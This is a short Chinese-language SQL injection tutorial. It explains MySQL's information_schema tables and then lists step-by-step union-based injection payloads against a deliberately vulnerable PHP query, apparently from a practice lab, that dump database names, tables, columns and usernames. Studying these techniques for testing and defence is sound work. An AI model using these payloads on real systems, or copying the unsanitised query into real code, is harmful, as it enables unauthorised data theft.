1.MySQL相关
在MySQL 5+版本后,加入了information_schema这个库,该库存放了所有数据库的信息
information_schema.columns
包含所有表的字段
字段
table_schema 数据库名
table_name 表名
column_name 列名
information_schema.tables
包含所有库的表名
字段
table_schema 数据库名
table_name 表名
information_schema.schemata
包含所有数据库的名
字段
schema_name 数据库名
2.有回显的SQL注入
执行SQL查询,其结果能回显到页面中,那么可直接进行有回显的SQL注入
- 查询语句
$id=$_GET['id'];
SELECT * FROM test WHERE id='$id' LIMIT 0,1;
- 判断字段数
?id=1' ORDER BY 3--+
- 判断显示位
?id=-1' UNION SELECT 1,2,3--+
- 利用函数获得信息
?id=-1 UNION SELECT 1,(version()),3--+
- 爆库
?id=-1' UNION SELECT 1,(SELECT schema_name FROM information_schema.schemata LIMIT 0,1),3--+ //用LIMIT来定位查询,一个一个爆数据库
?id=-1' UNION SELECT 1,group_concat(schema_name),3 FROM information_schema.schemata--+ //用group_concat()实现一个显示位爆出该字段下所有记录
- 爆表
?id=-1' UNION SELECT 1,(SELECT table_name FROM information_schema.tables WHERE table_schema='security' LIMIT 0,1),3--+
- 爆字段
?id=-1' UNION SELECT 1,(SELECT column_name FROM information_schema.columns WHERE table_schema='security' AND table_name='users' LIMIT 0,1),3--+
- 爆数据
?id=-1' UNION SELECT 1,(SELECT username FROM security.users LIMIT 0,1),3--+